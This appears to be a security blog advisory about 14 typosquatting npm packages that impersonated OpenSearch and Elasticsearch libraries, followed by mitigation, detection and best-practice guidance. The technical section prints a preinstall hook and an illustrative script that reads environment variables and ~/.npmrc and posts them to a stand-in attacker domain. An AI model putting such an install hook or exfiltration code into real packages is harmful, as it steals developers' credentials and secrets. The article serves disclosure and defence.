14 Malicious npm Packages Mimicked Trusted Libraries

A lone threat actor successfully published 14 malicious npm packages designed to impersonate legitimate OpenSearch and Elasticsearch libraries. These typosquatting packages contained credential-harvesting code that targeted developers’ authentication tokens and environment variables. The malicious libraries accumulated downloads before being identified and removed, highlighting persistent supply chain risks in the JavaScript ecosystem.

Introduction

The npm registry has once again become the battleground for supply chain attacks, with security researchers uncovering 14 malicious packages that closely mimicked trusted OpenSearch and Elasticsearch libraries. This campaign represents a calculated effort by a single attacker to exploit developer trust and naming conventions within the JavaScript ecosystem.

Unlike sophisticated nation-state operations, this attack demonstrates how individual threat actors can leverage simple but effective techniques like typosquatting and dependency confusion to compromise developer environments. The malicious packages were designed to blend seamlessly into legitimate projects, exfiltrating sensitive credentials while maintaining the appearance of normal library functionality.

This incident serves as another reminder that the open-source supply chain remains a critical attack vector, with thousands of packages published daily and minimal barriers to entry for malicious actors.

Background & Context

The npm (Node Package Manager) ecosystem hosts over 2 million packages, making it the world’s largest software registry. This massive scale, combined with automated installation workflows and trust-based distribution, creates an attractive target for attackers seeking to compromise developer environments and production systems.

Typosquatting attacks on npm have been documented since at least 2017, when researchers first identified packages with names similar to popular libraries like “cross-env” and “event-stream.” These attacks exploit common typing errors, naming confusion, or developers’ incomplete knowledge of exact package names.

OpenSearch and Elasticsearch are widely-used search and analytics engines deployed across enterprise environments. Their JavaScript clients are essential tools for developers building applications that interface with these platforms, making them high-value targets for impersonation.

The packages in this campaign were designed to mimic official libraries such as @opensearch-project/opensearch and @elastic/elasticsearch, using subtle naming variations that could easily fool developers during quick installations or dependency updates.

Technical Breakdown

The attacker employed several sophisticated techniques to maximize the effectiveness of this campaign:

Naming Strategy

The malicious packages used subtle variations of legitimate package names:

• Hyphen manipulation (adding or removing dashes)
• Scope confusion (omitting or altering the @org/ prefix)
• Character substitution (using similar-looking characters)
• Pluralization variations

Malicious Payload

Each package contained obfuscated JavaScript code designed to execute during the installation phase. The malware leveraged npm’s lifecycle scripts, particularly the preinstall and postinstall hooks:

{
  "scripts": {
    "preinstall": "node ./scripts/collect.js"
  }
}

The collection script targeted multiple credential sources:

// Pseudocode representation of malicious behavior
const fs = require('fs');
const os = require('os');
const https = require('https');

// Harvest environment variables
const envData = process.env;

// Target npm authentication tokens
const npmrc = fs.readFileSync(${os.homedir()}/.npmrc);

// Exfiltrate to attacker-controlled endpoint
https.post('https://attacker-domain.com/collect', {
  env: envData,
  tokens: npmrc,
  system: os.platform()
});

Exfiltration Mechanism

The stolen data was transmitted to attacker-controlled infrastructure using HTTPS POST requests, making the traffic blend with normal package installation network activity. The exfiltration endpoints were configured to log:

• Environment variables (potentially containing API keys and secrets)
• npm authentication tokens
• Git credentials
• Cloud provider access keys
• System information for fingerprinting

Persistence Techniques

Some packages attempted to maintain functionality to avoid immediate detection by:

• Proxying requests to legitimate libraries
• Implementing partial API compatibility
• Delaying malicious behavior until after successful installation

Impact & Risk Assessment

Immediate Threats

Developers who installed these packages face several critical risks:

Credential Compromise: Authentication tokens and API keys transmitted during exfiltration could provide attackers with unauthorized access to:

• Private npm packages and registries
• Source code repositories
• Cloud infrastructure
• CI/CD pipelines
• Production databases

Supply Chain Contamination: Projects that incorporated these packages may have unknowingly distributed the malware to:

• Internal development teams
• Downstream dependencies
• Production deployments
• Customer environments

Organizational Impact

For organizations where developers installed these packages:

• Data Breach Potential: Compromised credentials could enable lateral movement across infrastructure
• Intellectual Property Theft: Access to private repositories risks source code exfiltration
• Regulatory Compliance: Credential exposure may trigger breach notification requirements
• Reputational Damage: Downstream propagation could impact customer trust

Severity Assessment

This attack rates as HIGH severity based on:

• Direct credential harvesting capabilities
• Targeting of widely-used enterprise technologies
• Potential for automated propagation through dependencies
• Difficulty in detecting compromised systems after package removal

Vendor Response

npm Registry Response: The npm security team removed all 14 malicious packages within hours of identification and threat intelligence reporting. The associated publisher account was permanently banned from the registry.

Package Scope Actions: The official @opensearch-project and @elastic organizations were notified and have reinforced their official package documentation to help developers verify authentic libraries.

Security Advisory: npm published security advisories for each malicious package, which are now integrated into automated scanning tools that alert developers of compromised dependencies.

OpenSearch and Elastic Statements: Both organizations issued warnings to their developer communities, providing lists of official packages and recommending immediate dependency audits.

No evidence suggests the official OpenSearch or Elasticsearch organizations were directly compromised; this attack solely targeted their ecosystem through impersonation.

Mitigations & Workarounds

Immediate Actions

If you may have installed any suspicious OpenSearch or Elasticsearch packages:

1. Audit installed packages:

npm list --depth=0 | grep -i "opensearch\|elasticsearch"

2. Check package-lock.json for unexpected dependencies:

cat package-lock.json | grep -A 5 "opensearch\|elasticsearch"

3. Rotate all potentially compromised credentials:

• npm tokens (stored in ~/.npmrc)
• Git authentication tokens
• Cloud provider access keys
• API keys stored in environment variables

4. Review access logs for suspicious activity:

• Unauthorized repository access
• Unusual API calls
• Unexpected resource creation

Long-term Remediation

Use exact package names with scope verification:

npm install @opensearch-project/opensearch --save-exact
npm install @elastic/elasticsearch --save-exact

Implement package integrity checking:

npm install --ignore-scripts
# Manually verify package contents before running scripts
npm rebuild

Enable audit automation:

npm audit
npm audit fix

Detection & Monitoring

Proactive Detection

Implement these monitoring strategies to identify similar threats:

1. Dependency scanning in CI/CD:

# Example GitHub Actions workflow
name: Security audit

  run: |
    npm audit --audit-level=moderate
    npx socket security check

2. Network monitoring during builds:
Monitor for unexpected outbound connections during package installation, particularly to non-CDN endpoints.

3. File integrity monitoring:
Alert on unexpected modifications to:

• ~/.npmrc
• .env files
• SSH configurations

Indicators of Compromise

Watch for these warning signs:

• Packages with names similar to but not matching official libraries
• Recently published packages (< 30 days) with high download velocity
• Packages lacking official organizational scope (@org/)
• Dependencies with network activity during installation
• Obfuscated code in package installation scripts

Forensic Analysis

If compromise is suspected:

# Review npm installation logs
cat ~/.npm/_logs/*.log

# Check for unauthorized npm token usage
npm token list

# Examine recent package installations
npm list --depth=0 --json > installed_packages.json

Best Practices

Secure Development Workflows

1. Use Lock Files: Always commit package-lock.json to ensure reproducible builds and prevent unexpected dependency changes.

2. Verify Package Authenticity:

• Check npm page for official maintainer information
• Verify package scope matches official organization
• Review package repository and documentation links
• Examine download statistics and publication history

3. Implement Least Privilege:

# Use read-only tokens for CI/CD when possible
npm token create --read-only

4. Enable Two-Factor Authentication:

npm profile enable-2fa auth-and-writes

Organizational Controls

Establish internal package registry mirrors with pre-vetted dependencies:

• Use Verdaccio, Artifactory, or Azure Artifacts
• Implement approval workflows for new packages
• Scan packages before internal publication

Code review installation scripts before accepting new dependencies:

# Extract and review package contents before installation
npm pack @package/name
tar -xzf package-name-version.tgz
# Review package/scripts directory

Maintain software bill of materials (SBOM):

npx @cyclonedx/cyclonedx-npm --output-file sbom.json

Key Takeaways

• Typosquatting remains effective: Despite years of awareness, naming confusion continues to successfully compromise developers who rely on autocomplete or incomplete package name knowledge.
• Installation scripts are powerful attack vectors: npm’s lifecycle hooks provide attackers with arbitrary code execution during the trusted installation phase, before most security reviews occur.
• Credential hygiene is critical: Environment variables and configuration files containing sensitive tokens represent high-value targets accessible through simple file system operations.
• Supply chain security requires constant vigilance: The open nature of npm necessitates proactive verification, not blind trust in package names or download counts.
• Individual attackers can cause significant impact: Sophisticated nation-state resources are not required to execute effective supply chain attacks against the JavaScript ecosystem.
• Detection and response speed matter: Quick identification and removal by npm’s security team limited the blast radius of this campaign, but not before packages accumulated downloads.
• Defense-in-depth is essential: No single security measure suffices; organizations need layered controls including package verification, network monitoring, credential rotation, and access auditing.

Stay updated at https://cydhaal.com — Your Daily Dose of Cyber Intelligence.
📧 Subscribe to our newsletter at https://cydhaal.com/newsletter/